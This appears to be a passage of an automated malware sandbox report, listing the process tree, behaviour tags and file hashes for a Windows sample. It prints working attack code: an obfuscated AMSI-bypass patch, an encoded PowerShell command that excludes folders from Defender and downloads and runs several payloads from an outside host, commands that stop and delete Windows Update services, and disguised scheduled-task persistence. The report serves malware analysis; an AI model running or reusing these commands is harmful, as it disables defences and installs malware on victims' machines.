Reflection.AssemblyName('R'+'e'+''+[Char](102)+''+[Char](108)+''+'e'+''+[Char](99)+'t'+[Char](101)+''+[Char](100)+''+[Char](68)+'e'+'l'+''+'e'+''+'g'+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('In'+[Char](77)+'e'+'m'+''+[Char](111)+''+'r'+''+'y'+''+[Char](77)+''+'o'+''+[Char](100)+'u'+'l'+''+[Char](101)+'',$False).DefineType('MyDe'+[Char](108)+'e'+[Char](103)+''+'a'+''+'t'+''+'e'+'T'+[Char](121)+'p'+'e'+'',''+[Char](67)+'l'+[Char](97)+''+'s'+''+'s'+','+'P'+''+'u'+'b'+'l'+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+''+[Char](101)+''+[Char](97)+'l'+[Char](101)+''+[Char](100)+','+[Char](65)+'n'+[Char](115)+''+[Char](105)+''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+'s'+','+''+'A'+''+'u'+''+'t'+''+[Char](111)+'C'+[Char](108)+'a'+[Char](115)+'s',[MulticastDelegate]);$pMZuYAHivlj.DefineConstructor('R'+[Char](84)+''+'S'+'p'+'e'+''+[Char](99)+'ia'+[Char](108)+''+[Char](78)+''+[Char](97)+'me'+','+''+'H'+''+[Char](105)+''+[Char](100)+''+'e'+''+[Char](66)+''+[Char](121)+'S'+[Char](105)+''+[Char](103)+''+','+'P'+'u'+''+[Char](98)+''+'l'+''+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$uPaCeZvEoiAtqZ).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+'t'+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+'M'+[Char](97)+'na'+[Char](103)+''+[Char](101)+''+[Char](100)+'');$pMZuYAHivlj.DefineMethod('I'+[Char](110)+''+[Char](118)+''+'o'+''+'k'+''+[Char](101)+'','P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c,'+'H'+''+'i'+''+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+'i'+'g'+','+''+'N'+'ewSlo'+'t'+''+[Char](44)+'Vi'+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+'l',$dNEmBNGfiv,$uPaCeZvEoiAtqZ).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+[Char](116)+''+'i'+''+[Char](109)+''+'e'+''+[Char](44)+'M'+[Char](97)+''+'n'+'ag'+[Char](101)+'d');Write-Output $pMZuYAHivlj.CreateType();}$XxuwzctHVHVit=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+'t'+[Char](101)+''+'m'+''+[Char](46)+''+'d'+''+'l'+'l')}).GetType('M'+'i'+''+'c'+''+'r'+''+'o'+''+[Char](115)+''+'o'+''+'f'+'t'+[Char](46)+''+[Char](87)+''+'i'+'n3'+[Char](50)+''+[Char](46)+''+[Char](85)+'n'+[Char](115)+'a'+[Char](102)+''+[Char](101)+'X'+[Char](120)+''+[Char](117)+''+[Char](119)+''+[Char](122)+''+[Char](99)+''+'t'+''+[Char](72)+''+[Char](86)+''+[Char](72)+''+[Char](86)+''+'i'+'t');$cTrrfSQqLhqRID=$XxuwzctHVHVit.GetMethod(''+[Char](99)+''+[Char](84)+'r'+'r'+''+[Char](102)+'S'+'Q'+''+'q'+''+[Char](76)+''+[Char](104)+''+[Char](113)+''+'R'+''+[Char](73)+''+[Char](68)+'',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+','+'S'+''+[Char](116)+'a'+[Char](116)+''+'i'+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$NtBjCOoMDIVhRAVqGtg=ucPCHWcGTnDB @([String])([IntPtr]);$ZdGXLhytnwUsADyfzuodkF=ucPCHWcGTnDB @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$GziMIXZWSla=$XxuwzctHVHVit.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+'d'+''+'u'+''+[Char](108)+''+[Char](101)+''+[Char](72)+'a'+[Char](110)+''+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+[Char](114)+''+[Char](110)+'el'+[Char](51)+''+[Char](50)+''+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'')));$gJWUNXyIHxWFLh=$cTrrfSQqLhqRID.Invoke($Null,@([Object]$GziMIXZWSla,[Object](''+[Char](76)+''+[Char](111)+''+'a'+''+[Char](100)+'Li'+[Char](98)+''+[Char](114)+''+[Char](97)+''+[Char](114)+'y'+[Char](65)+'')));$gLXbFolNzEVqJLntX=$cTrrfSQqLhqRID.Invoke($Null,@([Object]$GziMIXZWSla,[Object](''+[Char](86)+''+[Char](105)+''+'r'+'tu'+'a'+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+'c'+''+[Char](116)+'')));$kbshOPW=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gJWUNXyIHxWFLh,$NtBjCOoMDIVhRAVqGtg).Invoke('a'+[Char](109)+'s'+[Char](105)+'.d'+[Char](108)+''+[Char](108)+'');$vToyUXCOLtwhbWvcX=$cTrrfSQqLhqRID.Invoke($Null,@([Object]$kbshOPW,[Object](''+'A'+''+[Char](109)+'si'+'S'+''+[Char](99)+''+[Char](97)+''+'n'+''+'B'+''+[Char](117)+'ff'+[Char](101)+''+'r'+'')));$lQOaMspXfH=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gLXbFolNzEVqJLntX,$ZdGXLhytnwUsADyfzuodkF).Invoke($vToyUXCOLtwhbWvcX,[uint32]8,4,[ref]$lQOaMspXfH);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$vToyUXCOLtwhbWvcX,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gLXbFolNzEVqJLntX,$ZdGXLhytnwUsADyfzuodkF).Invoke($vToyUXCOLtwhbWvcX,[uint32]8,0x20,[ref]$lQOaMspXfH);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+[Char](84)+''+[Char](87)+''+[Char](65)+'R'+'E'+'').GetValue('d'+[Char](105)+''+[Char](97)+''+'l'+'e'+[Char](114)+''+'s'+''+[Char](116)+''+[Char](97)+''+'g'+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3412 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4100
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1032
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1040
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1080
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1268
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1220
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2700
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1392
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1428
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1460
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1636
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s FontCache1⤵PID:1648
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1580
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1548
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1372
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1800
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1988
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1996
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1940
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1320
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1824
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1744
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1716
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2148
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2212
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2340
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2572
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2556
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2584
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2772
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2548
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:2928
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1048
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C:\Users\Admin\AppData\Local\Temp\8aae493caafa6e42a5a7afe431aeac120ce4c152.exe"C:\Users\Admin\AppData\Local\Temp\8aae493caafa6e42a5a7afe431aeac120ce4c152.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4044 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵PID:4576
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:1072 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4744 -
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:1668
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C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1832 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
- Suspicious behavior: EnumeratesProcesses
PID:4008
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1832 -s 5086⤵
- Program crash
PID:4276
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:960
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2888 -
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"6⤵
- Creates scheduled task(s)
PID:4328
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4044 -s 2683⤵
- Program crash
PID:4700
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3740
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1132 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:2468
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:4784
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:4636
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:2672
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:4252
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:1316
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:1700
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:800
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:448
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:3312
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4644
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:1540
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵PID:2496
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵PID:2484
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3248
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2348
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵PID:2544
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4044 -ip 40442⤵PID:2916
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 1832 -ip 18322⤵PID:444
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:3744
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵PID:4000
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s W32Time1⤵PID:4624
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:1792
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:1388
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:3260
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:5116
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:2092
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4424
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3620
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3404
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:404
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
19KB
MD544d01977296057daa72243ea5266629f
SHA1438d05d046b111cabdcba7fcee5141c68f20501e
SHA256e93e3621c6c8bba62dc4271fe7234315b46f8408f0ae40daf0d2aa69b4c9b6df
SHA51239d3643ab2cfca59b772cb63617c8f46735fc0442a61f6defd5aca8fe4d43dd431e74d799ef1ffc2386fcf62e477f7d421f10ed3295d7753a5e054a6532abc38
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Filesize
948B
MD5a7ce8cefc3f798abe5abd683d0ef26dd
SHA1b7abb625174a48db3221bf0fee4ecdbc2bd4ee1e
SHA2565e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a
SHA512c0d1821252d56e7b7d5b5d83891673f279f67638da1f454fb45e0426315cf07cc54c6df2cf77c65c11bcb3a1e4f574f76a3fb9059fde94951ba99d3de0e98d64
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
